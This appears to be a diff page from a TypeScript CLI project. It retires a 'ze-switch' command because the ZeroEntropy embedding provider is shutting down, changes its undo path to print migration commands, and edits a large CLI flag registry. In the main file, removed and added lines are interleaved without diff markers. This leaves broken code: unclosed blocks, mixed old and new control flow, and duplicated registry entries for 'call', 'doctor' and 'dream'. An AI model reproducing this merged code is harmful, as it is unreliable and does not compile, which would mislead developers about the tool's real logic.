/* corrupt JSON is `invalid` — the caller words the refusal */
}
return null;
}
/** Pure builder for the undo redirect commands (exported for tests). */
export function buildUndoCommands(
snapshot: ZeSwitchSnapshot,
brainArg: string,
): { live: string; preview: string } {
// Fold the pre-switch reranker into the same run: `--reranker` takes a
// model id or `off`; omitted means the migration's own default.
// enabled===false WINS over a lingering model id — the pre-switch brain
// had reranking off, and `migrate embeddings --reranker <model>` would
// re-enable it (the retired undo restored `enabled` independently).
const rerankerArg =
snapshot.search_reranker_enabled === false
? ' --reranker off'
: snapshot.search_reranker_model
? ` --reranker ${snapshot.search_reranker_model}`
: '';
const live = `gbrain migrate embeddings --to ${snapshot.embedding_model} --dim ${snapshot.embedding_dimensions}${rerankerArg}${brainArg}`;
return { live, preview: `${live} --dry-run` };
}
/** cli.ts SELF_HELP_WITHOUT_ENGINE adapter: that record's handlers take
* (engine, args); runZeSwitch takes (args, engine). Help never touches the
* engine, so null is safe here. */
export function runZeSwitchSelfHelp(_engine: never, args: string[]): Promise<void> {
return runZeSwitch(args, null);
}
export async function runZeSwitch(args: string[], engine: BrainEngine | null): Promise<void> {
if (args.includes('--help') || args.includes('-h')) {
printHelp();
process.exit(0);
}
const flags = parseFlags(args);
// Both --json spellings, mirroring cli.ts's own convention.
const json = args.some((a) => a === '--json' || (a.startsWith('--json=') && a !== '--json=false'));
// v0.46.3: ZeroEntropy is shutting down. Switching a brain ONTO it — including
// resuming a half-applied forward switch — is disabled; only --undo (which
// moves a brain OFF it) and --dry-run (read-only plan) still run. The whole
// command is deleted in the September removal release.
if (!flags.undo && !flags.dryRun) {
const {
ZEROENTROPY_SUNSET_DATE,
renderCanonicalMigrationCommands,
} = await import('../core/ai/defaults.ts');
const msg =
`ze-switch is disabled: ZeroEntropy shuts down its hosted API on ${ZEROENTROPY_SUNSET_DATE}.\n` +
'Switching onto it (or resuming a half-applied switch) would strand this brain.\n' +
`To LEAVE ZeroEntropy: ${renderCanonicalMigrationCommands().recommendedDryRun}\n` +
'To undo a prior switch: gbrain ze-switch --undo';
if (flags.json) {
console.log(JSON.stringify({ status: 'refused', reason: 'provider_sunset', message: msg }));
} else {
console.error(msg);
}
process.exit(1);
}
try {
// --dry-run: just plan, never apply.
if (flags.dryRun) {
const plan = await planRetrievalUpgrade(engine);
if (flags.json) {
console.log(JSON.stringify({ status: 'planned', plan }, null, 2));
} else {
console.log(`Current model: ${plan.current_embedding_model} (${plan.current_dim}d)`);
console.log(`Target model: ${plan.target_embedding_model ?? '(no change)'}`);
console.log(`Target dim: ${plan.target_dim ?? '(no change)'}`);
console.log(`Pages pending: chunker=${plan.pages_pending_chunker}, dim=${plan.pages_pending_dim}`);
console.log(`Est cost: $${plan.est_cost_usd.toFixed(2)}`);
console.log(`Est minutes: ${plan.est_minutes}`);
console.log(`Schema change: ~${plan.est_schema_change_seconds}s`);
console.log(`Offered: ${plan.ze_switch_offered}`);
}
return;
}
// --resume: complete a half-applied switch.
if (flags.resume) {
if (flags.ignoreEnvOverride) {
console.error('[ze-switch] WARNING: --ignore-env-override is set; env vars will silently override the switch at runtime.');
}
const result = await resumeRetrievalUpgrade(engine, {
ignoreEnvOverride: flags.ignoreEnvOverride,
});
// v0.41.2.1: route through the env-override-aware renderer so
// refused-status emits the ASCII warning box + exits non-zero.
if (result.status === 'refused' && result.reason === 'env_override') {
renderApplyResult(result, flags.json); // exits non-zero
}
if (flags.json) {
console.log(JSON.stringify(result, null, 2));
} else {
console.log(`Resume status: ${result.status}`);
}
process.exit(result.status === 'applied' || result.status === 'skipped_already_applied' ? 0 : 1);
}
// --undo: reverse switch.
if (flags.undo) {
if (flags.nonInteractive) {
if (!flags.confirmReembed) {
console.error('--undo --non-interactive requires --confirm-reembed (undo re-embeds at the prior width — costs real money).');
process.exit(1);
if (args.includes('--undo')) {
// Read the pre-switch snapshot the old forward path stored. A missing,
// corrupt, invalid-shape, or unreadable snapshot degrades to the plain
// refusal (there is nothing to redirect to); `redirected` is reserved
// for a validated snapshot. The failure states word the refusal
// differently — telling the operator of a switched brain whose snapshot
// failed validation that "no switch was recorded" would be false, and a
// null engine here means the brain could not be reached at all.
let read: SnapshotReadResult = engine ? { kind: 'missing' } : { kind: 'read_error' };
if (engine) {
try {
const raw = await engine.getConfig(KEY_PREVIOUS_SNAPSHOT);
if (raw) {
const parsed = parseSnapshot(raw);
read = parsed ? { kind: 'ok', snapshot: parsed } : { kind: 'invalid' };
}
const result = await undoRetrievalUpgrade(engine);
if (flags.json) {
console.log(JSON.stringify(result, null, 2));
} else {
console.log(`Undo status: ${result.status}`);
}
process.exit(result.status === 'undone' ? 0 : 1);
} catch {
read = { kind: 'read_error' };
}
// Interactive undo: shows cost-warning prompt.
const result = await runUndoPrompt(engine);
if (flags.json) {
console.log(JSON.stringify(result, null, 2));
}
process.exit(result.status === 'undone' ? 0 : 1);
}
// --non-interactive: apply without prompting.
if (flags.nonInteractive) {
if (!process.env.ZEROENTROPY_API_KEY && !flags.ignoreMissingKey) {
const config = await engine.getConfig('zeroentropy_api_key');
if (!config) {
console.error('ZEROENTROPY_API_KEY not set. Pass --ignore-missing-key to switch anyway (embeddings will fail until you set a key).');
process.exit(1);
}
}
if (flags.ignoreEnvOverride) {
console.error('[ze-switch] WARNING: --ignore-env-override is set; env vars will silently override the switch at runtime.');
}
const plan = await planRetrievalUpgrade(engine);
const result = await applyRetrievalUpgrade(engine, plan, {
ignoreEnvOverride: flags.ignoreEnvOverride,
});
// v0.41.2.1: render env-override refusal with ASCII box + exit non-zero.
if (result.status === 'refused' && result.reason === 'env_override') {
renderApplyResult(result, flags.json); // exits non-zero
}
if (flags.json) {
console.log(JSON.stringify(result, null, 2));
} else {
console.log(`Switch status: ${result.status}`);
}
process.exit(
result.status === 'applied' || result.status === 'skipped_already_applied' || result.status === 'skipped_no_work'
? 0
: 1,
if (read.kind === 'ok') {
const { live, preview } = buildUndoCommands(read.snapshot, brainSuffix());
const message =
`ze-switch no longer undoes in place (the retired action wrote config the runtime does not read).\n` +
`To return this brain to its pre-switch provider, run:\n` +
` ${preview} # cost preview\n` +
` ${live}\n` +
`(This reflects the recorded pre-switch snapshot; the preview shows the live\n` +
` current->target plan and the migration verifies against the database before\n` +
` changing anything — a brain that already migrated will report nothing to do.)`;
emitAndExit(
{
status: 'redirected',
reason: 'provider_sunset',
undo_command: live,
undo_preview: preview,
message,
},
json,
);
}
// Interactive mode.
const result = await runRetrievalUpgradePrompt(engine, { force: flags.force });
if (flags.json) {
console.log(JSON.stringify(result, null, 2));
}
process.exit(result.status === 'applied' || result.status === 'declined_this_run' || result.status === 'declined_forever' || result.status === 'non_tty_skip' || result.status === 'not_offered' ? 0 : 1);
} finally {
// Engine lifecycle is owned by the dispatcher.
const undoFailure =
read.kind === 'invalid'
? 'A switch snapshot exists but is unreadable or failed validation — inspect the ze_switch_previous_snapshot config row before trusting any undo guidance.'
: read.kind === 'read_error'
? 'Could not read the switch snapshot (no brain configured, or the config read failed) — check the brain connection and retry.'
: 'No prior switch snapshot recorded — nothing to undo.';
emitAndExit(refusalEnvelope(undoFailure, { omitUndoHint: true }), json);
}
// Every other invocation — bare, --dry-run, --resume, --non-interactive,
// --force, any combination — refuses.
emitAndExit(refusalEnvelope(), json);
}
+2 -2
View File
@@ -72,8 +72,8 @@ export function isValidZeroEntropyDim(dims: number): boolean {
// Matryoshka — any positive integer up to the model's native size. When a
// brain is configured with `embedding_dimensions` OUTSIDE that range, OpenAI
// returns HTTP 400 at first embed. We catch it locally with a paste-ready
// fix so users don't see opaque "vector dimension mismatch" errors after
// `gbrain ze-switch --undo` lands them on OpenAI at the wrong dim.
// fix so users don't see opaque "vector dimension mismatch" errors after a
// `gbrain migrate embeddings --to openai:...` lands them at the wrong dim.
const OPENAI_TEXT3_MAX_DIMS: Record<string, number> = {
'text-embedding-3-small': 1536,
'text-embedding-3-large': 3072,
+8 -8
View File
@@ -27,7 +27,7 @@ export const CLI_FLAG_REGISTRY: Record<string, readonly string[]> = {
'brainstorm': ['--aliases', '--all', '--brain', '--chunker-debug', '--code', '--compile', '--fast', '--file', '--fix', '--force', '--force-rechunk', '--force-resume', '--from-pages', '--full', '--help', '--http', '--include-null-signature', '--json', '--judge-model', '--lang', '--limit', '--list-runs', '--markdown', '--max-cost', '--max-far-set', '--max-ideas-per-judge-call', '--model', '--no-embed', '--no-embedding', '--no-extract', '--no-save', '--pattern', '--pending', '--reset', '--resolve', '--resume', '--retry-failed', '--retry-judge', '--save', '--source', '--stale', '--strict-budget', '--supersessions', '--surface', '--thin', '--timeout', '--token-ttl', '--yes'],
'cache': ['--brain', '--fast', '--force', '--from-pages', '--help', '--http', '--json', '--no-embedding', '--source', '--surface', '--token-ttl', '--yes'],
'calibration': ['--ab', '--aliases', '--all', '--allow-empty', '--apply', '--asof', '--auto', '--bound-max-concurrent', '--bound-slug-prefixes', '--bound-source', '--bound-tools', '--brain', '--budget-usd-per-day', '--by-mention', '--content', '--date', '--days', '--dry-run', '--entities', '--explain', '--fast', '--federated', '--file', '--follow', '--force', '--from-pages', '--help', '--holder', '--http', '--image', '--include-null-signature', '--json', '--key-prefix', '--kind', '--lang', '--limit', '--markdown', '--max-usd', '--mode', '--multimodal', '--near-symbol', '--no-embedding', '--no-extract', '--no-federated', '--offset', '--path', '--pattern', '--pending', '--phase', '--progress-interval', '--progress-json', '--quiet', '--regenerate', '--repo', '--reset', '--resolve', '--restore-only', '--save', '--scrub-gstack', '--session', '--session-id', '--since', '--slug', '--slugs', '--source', '--source-guard', '--stale', '--stats', '--supersessions', '--surface', '--symbol-kind', '--thin', '--token-ttl', '--trusted-extraction', '--undo-wave', '--url', '--with-calibration', '--with-db', '--yes'],
'call': ['--aliases', '--all', '--all-sources', '--as-context', '--auto-fix', '--background', '--brain', '--by-mention', '--catch-up', '--concurrency', '--confirm-destructive', '--content', '--cost-estimate', '--count', '--days', '--depth', '--dim', '--dir', '--direction', '--enable-dcr', '--enable-dcr-insecure', '--explain', '--fast', '--federated', '--file', '--fix', '--follow', '--force', '--from', '--from-meetings', '--grant-types', '--grep', '--hard-deadline', '--help', '--http', '--image', '--include-expired', '--include-frontmatter', '--include-null-signature', '--infer-dates', '--install', '--interval', '--json', '--key', '--kind', '--lang', '--limit', '--link-source', '--link-type', '--llm', '--migrate-only', '--missing-path', '--multimodal', '--ner', '--no-embed', '--no-expand', '--no-extract', '--no-federated', '--no-hard-deadline', '--no-retry-connect', '--no-save', '--older-than', '--page', '--param', '--params', '--password', '--path', '--pattern', '--pending', '--pglite', '--port', '--probe-pglite', '--progress-interval', '--progress-json', '--public-url', '--queue', '--quiet', '--reenrich-after', '--refresh-cache', '--remediate', '--remediation-plan', '--repo', '--reset', '--resolve', '--restore-only', '--save', '--scopes', '--session', '--sigma', '--since', '--slug', '--slug-prefix', '--source', '--source-guard', '--source-id', '--stale', '--status', '--stdin', '--strategy', '--suites', '--supabase', '--supersessions', '--surface', '--symbol-kind', '--synthesize', '--tag', '--thin', '--timeout', '--to', '--today', '--token', '--token-ttl', '--tools-json', '--type', '--uninstall', '--url', '--version', '--watch', '--with-calibration', '--workers', '--yes'],
'call': ['--aliases', '--all', '--all-sources', '--as-context', '--auto-fix', '--background', '--brain', '--by-mention', '--catch-up', '--concurrency', '--confirm-destructive', '--content', '--cost-estimate', '--count', '--days', '--depth', '--dim', '--dir', '--direction', '--enable-dcr', '--enable-dcr-insecure', '--explain', '--fast', '--federated', '--file', '--fix', '--follow', '--force', '--from', '--from-meetings', '--grant-types', '--grep', '--hard-deadline', '--help', '--http', '--image', '--include-expired', '--include-frontmatter', '--include-null-signature', '--infer-dates', '--install', '--interval', '--json', '--key', '--kind', '--lang', '--limit', '--link-source', '--link-type', '--llm', '--migrate-only', '--missing-path', '--multimodal', '--ner', '--no-embed', '--no-expand', '--no-extract', '--no-federated', '--no-hard-deadline', '--no-retry-connect', '--no-save', '--older-than', '--page', '--param', '--params', '--password', '--path', '--pattern', '--pending', '--pglite', '--port', '--probe-pglite', '--progress-interval', '--progress-json', '--public-url', '--queue', '--quiet', '--reenrich-after', '--refresh-cache', '--remediate', '--remediation-plan', '--repo', '--reset', '--resolve', '--restore-only', '--save', '--scopes', '--session', '--sigma', '--since', '--slug', '--slug-prefix', '--source', '--source-guard', '--source-id', '--stale', '--status', '--stdin', '--strategy', '--suites', '--supabase', '--supersessions', '--surface', '--symbol-kind', '--synthesize', '--tag', '--thin', '--timeout', '--to', '--today', '--token', '--token-ttl', '--tools-json', '--type', '--undo', '--uninstall', '--url', '--version', '--watch', '--with-calibration', '--workers', '--yes'],
'capture': ['--aliases', '--all', '--allow-empty', '--apply', '--asof', '--auto', '--bound-max-concurrent', '--bound-slug-prefixes', '--bound-source', '--bound-tools', '--brain', '--budget-usd-per-day', '--by-mention', '--content', '--date', '--days', '--depth', '--entities', '--fast', '--federated', '--file', '--follow', '--force', '--from-pages', '--help', '--http', '--image', '--include-null-signature', '--json', '--kind', '--limit', '--max-usd', '--mcp-only', '--mode', '--multimodal', '--no-embedding', '--no-extract', '--no-federated', '--offset', '--path', '--pattern', '--pending', '--progress-interval', '--progress-json', '--quiet', '--repo', '--reset', '--resolve', '--restore-only', '--save', '--scopes', '--session', '--session-id', '--since', '--slug', '--slugs', '--source', '--source-guard', '--stale', '--stats', '--stdin', '--supersessions', '--surface', '--thin', '--timeout', '--token-ttl', '--trusted-extraction', '--type', '--url', '--what', '--where', '--who', '--with-db', '--yes'],
'check-backlinks': ['--background', '--brain', '--brain-wide-max-cost-usd', '--dir', '--dry-run', '--explain', '--follow', '--help', '--include-frontmatter', '--json', '--progress-interval', '--progress-json', '--quiet', '--remediate', '--source', '--stale', '--timeout', '--type'],
'check-resolvable': ['--brain', '--dry-run', '--fix', '--help', '--json', '--skills-dir', '--source', '--strict', '--verbose'],
@@ -40,8 +40,8 @@ export const CLI_FLAG_REGISTRY: Record<string, readonly string[]> = {
'config': ['--aliases', '--all', '--brain', '--column', '--coverage-override', '--detail', '--embedding-dimensions', '--embedding-model', '--fast', '--federated-read', '--follow', '--force', '--from-pages', '--help', '--http', '--include-null-signature', '--json', '--markdown', '--model', '--multimodal', '--no-embedding', '--no-extract', '--no-federated', '--pattern', '--pending', '--pglite', '--reset', '--resolve', '--source', '--stale', '--supersessions', '--surface', '--thin', '--token-ttl', '--yes'],
'connect': ['--agent', '--auto', '--bearer-token-env-var', '--bind', '--brain', '--client-id', '--client-secret', '--delete-brain', '--env', '--force', '--grant-types', '--header', '--help', '--http', '--install', '--json', '--name', '--oauth', '--public-url', '--pure', '--register', '--remove', '--scope', '--scopes', '--show-token', '--source', '--status', '--timeout-ms', '--token', '--token-endpoint-auth-method', '--url', '--version', '--yes'],
'conversation-parser': ['--aliases', '--all', '--brain', '--help', '--include-null-signature', '--json', '--no-extract', '--pattern', '--pending', '--reset', '--resolve', '--source', '--stale', '--supersessions', '--thin'],
'doctor': ['--ab', '--abbrev-ref', '--abi', '--abort', '--aliases', '--all', '--allow-shell-jobs', '--allow-unverified-remote', '--auto', '--auto-fix', '--auto-update', '--background', '--batch', '--brain', '--brain-wide-max-cost-usd', '--branch', '--break-lock', '--build-index', '--by-mention', '--by-type', '--cached', '--check', '--column', '--compile', '--concurrency', '--confidence', '--confirm', '--content-audit', '--count', '--days', '--delete-brain', '--detach', '--detail', '--diff-filter', '--dim', '--dir', '--drain', '--dry-run', '--embedding-dimensions', '--embedding-model', '--env', '--exclude-standard', '--exclusive', '--explain', '--fast', '--file', '--fix', '--follow', '--force', '--force-break-lock', '--force-retry', '--force-schema', '--force-sunset-target', '--format', '--fresh', '--from-meetings', '--from-pages', '--full', '--gbrain-bin', '--get', '--git-dir', '--git-path', '--grant-types', '--harness', '--health-interval', '--help', '--history', '--home', '--http', '--id', '--ignore-env-override', '--ignore-missing-key', '--include-flagged', '--include-frontmatter', '--include-null-signature', '--include-pseudo', '--index-audit', '--init', '--input', '--install', '--is-inside-work-tree', '--job-isolation', '--jq', '--json', '--lang', '--limit', '--local', '--locks', '--markdown', '--max-age', '--max-cost', '--max-cost-usd', '--max-crashes', '--max-jobs', '--max-rss', '--max-usd', '--mcp-even-if-plugin', '--mcp-only', '--migrate-only', '--model', '--multimodal', '--name', '--name-only', '--name-status', '--near-symbol', '--nice', '--no', '--no-capture', '--no-cron', '--no-embed', '--no-embedding', '--no-extract', '--no-federated', '--no-hooks', '--no-mutate', '--no-verify', '--oauth-client-secret', '--older-than', '--once', '--others', '--overwrite', '--parallel', '--params', '--pat-file', '--path', '--pattern', '--pending', '--pglite', '--phase', '--pid-file', '--porcelain', '--port', '--priority', '--probe-pglite', '--progress-interval', '--progress-json', '--project', '--pure', '--push-only', '--query', '--queue', '--quiet', '--rebase', '--rebuild-rollup', '--refresh', '--refresh-unqualified', '--regenerate', '--remediate', '--remediation-plan', '--remove', '--repo', '--reranker', '--reset', '--resolve', '--restore-only', '--resume', '--retarget', '--review-lower', '--rollback', '--scope', '--scopes', '--set', '--short', '--show-current', '--show-toplevel', '--since', '--skills-dir', '--skip-bare-tweet', '--skip-failed', '--skip-urls', '--skip-verify', '--slugs', '--source', '--source-id', '--stale', '--stats', '--status', '--strategy', '--strict', '--supabase', '--supersessions', '--surface', '--symbol-kind', '--target', '--target-score', '--thin', '--timeout', '--to', '--token', '--token-name', '--token-ttl', '--top-k', '--type', '--undo', '--undo-wave', '--unsafe-bypass-dream-guard', '--unset-all', '--untracked-files', '--url', '--use-captured-snapshot', '--user-hooks', '--verbose', '--verify', '--version', '--window', '--with-calibration', '--workers', '--yes'],
'dream': ['--against', '--aliases', '--all', '--allow-regression', '--anchor', '--asof', '--audit-rejects', '--background', '--batch', '--brain', '--brain-wide-max-cost-usd', '--break-lock', '--budget-usd', '--budget-usd-answer', '--budget-usd-retrieval', '--by-type', '--by-type-floor', '--cancel-unmatched', '--code', '--committed-baseline', '--compare', '--compile', '--concurrent', '--ctx-size', '--cycles', '--date', '--detail', '--dim', '--dimensions', '--dir', '--drain', '--dry-run', '--embedding-dimensions', '--embedding-model', '--embeddings', '--expansion', '--explain', '--fast', '--federated', '--fix', '--fixtures', '--follow', '--force', '--force-break-lock', '--force-rechunk', '--force-retry', '--format', '--from', '--from-db', '--from-pages', '--gold', '--harness', '--help', '--http', '--include-holdout', '--include-null-signature', '--input', '--install', '--json', '--judge-model', '--justification', '--keyword-only', '--lang', '--limit', '--llm', '--markdown', '--max-age', '--max-cost', '--max-cost-usd', '--max-runtime', '--max-tokens', '--max-usd', '--mcp-only', '--min-recall', '--mode', '--model', '--models', '--modes', '--multimodal', '--name', '--name-only', '--near-symbol', '--no', '--no-embed', '--no-embedding', '--no-extract', '--no-federated', '--no-llm', '--no-mutate', '--no-trajectory', '--once', '--out', '--output', '--output-dir', '--parallel', '--path', '--pattern', '--pending', '--pglite', '--phase', '--priority', '--progress-interval', '--progress-json', '--pull', '--quiet', '--receipt-dir', '--reconcile-queue', '--remediate', '--repo', '--reranking', '--reset', '--resolve', '--restore-only', '--resume-from', '--retrieval-only', '--rounds', '--rubric-version', '--save', '--seed', '--short', '--show-toplevel', '--since', '--skip-replay', '--slot-a-model', '--slot-b-model', '--slot-c-model', '--slug', '--slug-prefix', '--source', '--source-guard', '--source-id', '--stale', '--suite', '--suites', '--supabase', '--supersessions', '--surface', '--symbol-kind', '--take', '--task', '--thin', '--threshold', '--timeout', '--to', '--token-ttl', '--top-k', '--undo', '--unsafe-bypass-dream-guard', '--update-baseline', '--verify', '--version', '--window', '--yes'],
'doctor': ['--ab', '--abbrev-ref', '--abi', '--abort', '--aliases', '--all', '--allow-shell-jobs', '--allow-unverified-remote', '--auto', '--auto-fix', '--auto-update', '--background', '--batch', '--brain', '--brain-wide-max-cost-usd', '--branch', '--break-lock', '--build-index', '--by-mention', '--by-type', '--cached', '--check', '--column', '--compile', '--concurrency', '--confidence', '--confirm', '--content-audit', '--count', '--days', '--delete-brain', '--detach', '--detail', '--diff-filter', '--dim', '--dir', '--drain', '--dry-run', '--embedding-dimensions', '--embedding-model', '--env', '--exclude-standard', '--exclusive', '--explain', '--fast', '--file', '--fix', '--follow', '--force', '--force-break-lock', '--force-retry', '--force-schema', '--force-sunset-target', '--format', '--fresh', '--from-meetings', '--from-pages', '--full', '--gbrain-bin', '--get', '--git-dir', '--git-path', '--grant-types', '--harness', '--health-interval', '--help', '--history', '--home', '--http', '--id', '--ignore-env-override', '--ignore-missing-key', '--include-flagged', '--include-frontmatter', '--include-null-signature', '--include-pseudo', '--index-audit', '--init', '--input', '--install', '--is-inside-work-tree', '--job-isolation', '--jq', '--json', '--lang', '--limit', '--local', '--locks', '--markdown', '--max-age', '--max-cost', '--max-cost-usd', '--max-crashes', '--max-jobs', '--max-rss', '--max-usd', '--mcp-even-if-plugin', '--mcp-only', '--migrate-only', '--model', '--multimodal', '--name', '--name-only', '--name-status', '--near-symbol', '--nice', '--no', '--no-capture', '--no-cron', '--no-embed', '--no-embedding', '--no-extract', '--no-federated', '--no-hooks', '--no-mutate', '--no-verify', '--oauth-client-secret', '--older-than', '--once', '--others', '--overwrite', '--parallel', '--params', '--pat-file', '--path', '--pattern', '--pending', '--pglite', '--phase', '--pid-file', '--porcelain', '--port', '--priority', '--probe-pglite', '--progress-interval', '--progress-json', '--project', '--pure', '--push-only', '--query', '--queue', '--quiet', '--rebase', '--rebuild-rollup', '--refresh', '--refresh-unqualified', '--regenerate', '--remediate', '--remediation-plan', '--remove', '--repo', '--reranker', '--reset', '--resolve', '--restore-only', '--resume', '--retarget', '--review-lower', '--rollback', '--scope', '--scopes', '--set', '--short', '--show-current', '--show-toplevel', '--since', '--skills-dir', '--skip-bare-tweet', '--skip-failed', '--skip-urls', '--skip-verify', '--slugs', '--source', '--source-id', '--stale', '--stats', '--status', '--strategy', '--strict', '--supabase', '--supersessions', '--surface', '--symbol-kind', '--target', '--target-score', '--thin', '--timeout', '--to', '--token', '--token-name', '--token-ttl', '--top-k', '--type', '--undo-wave', '--unsafe-bypass-dream-guard', '--unset-all', '--untracked-files', '--url', '--use-captured-snapshot', '--user-hooks', '--verbose', '--verify', '--version', '--window', '--with-calibration', '--workers', '--yes'],
'dream': ['--against', '--aliases', '--all', '--allow-regression', '--anchor', '--asof', '--audit-rejects', '--background', '--batch', '--brain', '--brain-wide-max-cost-usd', '--break-lock', '--budget-usd', '--budget-usd-answer', '--budget-usd-retrieval', '--by-type', '--by-type-floor', '--cancel-unmatched', '--code', '--committed-baseline', '--compare', '--compile', '--concurrent', '--ctx-size', '--cycles', '--date', '--detail', '--dim', '--dimensions', '--dir', '--drain', '--dry-run', '--embedding-dimensions', '--embedding-model', '--embeddings', '--expansion', '--explain', '--fast', '--federated', '--fix', '--fixtures', '--follow', '--force', '--force-break-lock', '--force-rechunk', '--force-retry', '--format', '--from', '--from-db', '--from-pages', '--gold', '--harness', '--help', '--http', '--include-holdout', '--include-null-signature', '--input', '--install', '--json', '--judge-model', '--justification', '--keyword-only', '--lang', '--limit', '--llm', '--markdown', '--max-age', '--max-cost', '--max-cost-usd', '--max-runtime', '--max-tokens', '--max-usd', '--mcp-only', '--min-recall', '--mode', '--model', '--models', '--modes', '--multimodal', '--name', '--name-only', '--near-symbol', '--no', '--no-embed', '--no-embedding', '--no-extract', '--no-federated', '--no-llm', '--no-mutate', '--no-trajectory', '--once', '--out', '--output', '--output-dir', '--parallel', '--path', '--pattern', '--pending', '--pglite', '--phase', '--priority', '--progress-interval', '--progress-json', '--pull', '--quiet', '--receipt-dir', '--reconcile-queue', '--remediate', '--repo', '--reranking', '--reset', '--resolve', '--restore-only', '--resume-from', '--retrieval-only', '--rounds', '--rubric-version', '--save', '--seed', '--short', '--show-toplevel', '--since', '--skip-replay', '--slot-a-model', '--slot-b-model', '--slot-c-model', '--slug', '--slug-prefix', '--source', '--source-guard', '--source-id', '--stale', '--suite', '--suites', '--supabase', '--supersessions', '--surface', '--symbol-kind', '--take', '--task', '--thin', '--threshold', '--timeout', '--to', '--token-ttl', '--top-k', '--unsafe-bypass-dream-guard', '--update-baseline', '--verify', '--version', '--window', '--yes'],
'edges-backfill': ['--aliases', '--all', '--all-sources', '--brain', '--concurrency', '--federated', '--help', '--include-null-signature', '--json', '--max-age', '--max-chunks', '--max-cost-usd', '--no-extract', '--no-federated', '--older-than', '--path', '--pattern', '--pending', '--repo', '--reset', '--resolve', '--restore-only', '--source', '--source-guard', '--stale', '--supersessions', '--thin', '--timeout', '--workers'],
'embed': ['--aliases', '--all', '--background', '--batch-size', '--brain', '--brain-wide-max-cost-usd', '--break-lock', '--catch-up', '--dim', '--dry-run', '--embedding-dimensions', '--embedding-model', '--explain', '--fast', '--fix', '--follow', '--force', '--force-break-lock', '--from-pages', '--help', '--http', '--include-null-signature', '--json', '--lang', '--markdown', '--max-age', '--max-cost-usd', '--model', '--multimodal', '--name', '--near-symbol', '--no', '--no-embed', '--no-embedding', '--no-extract', '--pace', '--pace-max-concurrency', '--parallel', '--path', '--pattern', '--pending', '--pglite', '--prefix', '--priority', '--progress-interval', '--progress-json', '--quiet', '--remediate', '--reset', '--resolve', '--restore-only', '--serial', '--slugs', '--source', '--stale', '--supabase', '--supersessions', '--surface', '--symbol-kind', '--thin', '--timeout', '--to', '--token-ttl', '--version'],
'enrich': ['--aliases', '--all', '--all-sources', '--allow-empty', '--apply', '--asof', '--auto', '--background', '--bound-max-concurrent', '--bound-slug-prefixes', '--bound-source', '--bound-tools', '--brain', '--brain-wide-max-cost-usd', '--break-lock', '--budget-usd-per-day', '--by-mention', '--clone-dir', '--code', '--concurrency', '--confirm-destructive', '--content', '--date', '--days', '--detail', '--dim', '--dry-run', '--embedding-dimensions', '--embedding-model', '--entities', '--explain', '--fast', '--federated', '--file', '--fix', '--follow', '--force', '--force-break-lock', '--from-pages', '--help', '--http', '--image', '--include-null-signature', '--json', '--judge-model', '--kind', '--lang', '--limit', '--markdown', '--max-age', '--max-cost', '--max-cost-usd', '--max-runtime', '--max-usd', '--min-context', '--mode', '--model', '--multimodal', '--near-symbol', '--no', '--no-embed', '--no-embedding', '--no-extract', '--offset', '--older-than', '--order', '--path', '--pattern', '--pending', '--progress-interval', '--progress-json', '--quiet', '--reenrich-after', '--remediate', '--reset', '--resolve', '--restore-only', '--resume', '--save', '--session', '--session-id', '--since', '--slug', '--slugs', '--source', '--source-id', '--stale', '--stats', '--supersessions', '--surface', '--symbol-kind', '--thin', '--thin-threshold', '--timeout', '--to', '--token-ttl', '--trusted-extraction', '--types', '--url', '--url-managed', '--version', '--with-db', '--workers', '--yes'],
@@ -65,8 +65,8 @@ export const CLI_FLAG_REGISTRY: Record<string, readonly string[]> = {
'lint': ['--aliases', '--all', '--background', '--brain', '--brain-wide-max-cost-usd', '--dry-run', '--exclude', '--explain', '--fast', '--fix', '--follow', '--force', '--from-pages', '--help', '--http', '--include-null-signature', '--json', '--no-embedding', '--no-extract', '--pattern', '--pending', '--progress-interval', '--progress-json', '--quiet', '--remediate', '--reset', '--resolve', '--source', '--stale', '--supersessions', '--surface', '--thin', '--timeout', '--token-ttl'],
'lsd': ['--brain', '--force-resume', '--help', '--json', '--judge-model', '--limit', '--list-runs', '--max-cost', '--max-far-set', '--max-ideas-per-judge-call', '--no-save', '--resume', '--retry-judge', '--save', '--source', '--strict-budget', '--yes'],
'maintain': ['--aliases', '--all', '--background', '--brain', '--break-lock', '--by-mention', '--catch-up', '--concurrency', '--content-audit', '--count', '--detach', '--dim', '--dir', '--drain', '--dry-run', '--embedding-dimensions', '--embedding-model', '--explain', '--fast', '--fix', '--force', '--force-retry', '--force-schema', '--from-meetings', '--full', '--help', '--include-flagged', '--include-frontmatter', '--include-null-signature', '--index-audit', '--infer-dates', '--input', '--json', '--kind', '--lang', '--locks', '--markdown', '--max-cost', '--max-cost-usd', '--max-jobs', '--max-rss', '--max-usd', '--migrate-only', '--multimodal', '--near-symbol', '--ner', '--nice', '--no-extract', '--no-mutate', '--older-than', '--once', '--pack', '--parallel', '--params', '--path', '--pattern', '--pending', '--pglite', '--phase', '--pid-file', '--porcelain', '--probe-pglite', '--progress-json', '--query', '--queue', '--quiet', '--rebuild-rollup', '--regenerate', '--remediate', '--remediation-plan', '--reset', '--resolve', '--restore-only', '--resume', '--run-id', '--safe', '--scope', '--since', '--skills-dir', '--skip-failed', '--slugs', '--source', '--source-id', '--stale', '--status', '--supabase', '--supersessions', '--symbol-kind', '--target', '--target-score', '--thin', '--to', '--top-k', '--type', '--unsafe-bypass-dream-guard', '--url', '--verbose', '--window', '--workers', '--yes'],
'migrate': ['--ab', '--aliases', '--all', '--auto-update', '--background', '--batch-size', '--brain', '--brain-wide-max-cost-usd', '--break-lock', '--build-index', '--by-mention', '--catch-up', '--compile', '--days', '--dim', '--dry-run', '--embedding-dimensions', '--embedding-model', '--embeddings', '--exclusive', '--explain', '--fast', '--fix', '--follow', '--force', '--force-break-lock', '--force-retry', '--force-schema', '--force-sunset-target', '--from-meetings', '--from-pages', '--help', '--history', '--http', '--ignore-env-override', '--ignore-missing-key', '--include-null-signature', '--json', '--lang', '--locks', '--markdown', '--max-age', '--model', '--multimodal', '--name', '--near-symbol', '--nice', '--no', '--no-embed', '--no-embedding', '--no-extract', '--non-interactive', '--pace', '--pace-max-concurrency', '--parallel', '--path', '--pattern', '--pending', '--phase', '--prefix', '--priority', '--progress-interval', '--progress-json', '--quiet', '--refresh-unqualified', '--remediate', '--reranker', '--reranking', '--reset', '--resolve', '--restore-only', '--resume', '--retarget', '--rollback', '--skip-verify', '--slugs', '--source', '--stale', '--status', '--supersessions', '--surface', '--symbol-kind', '--thin', '--timeout', '--to', '--token-ttl', '--undo', '--undo-wave', '--url', '--use-captured-snapshot', '--version', '--with-calibration', '--yes'],
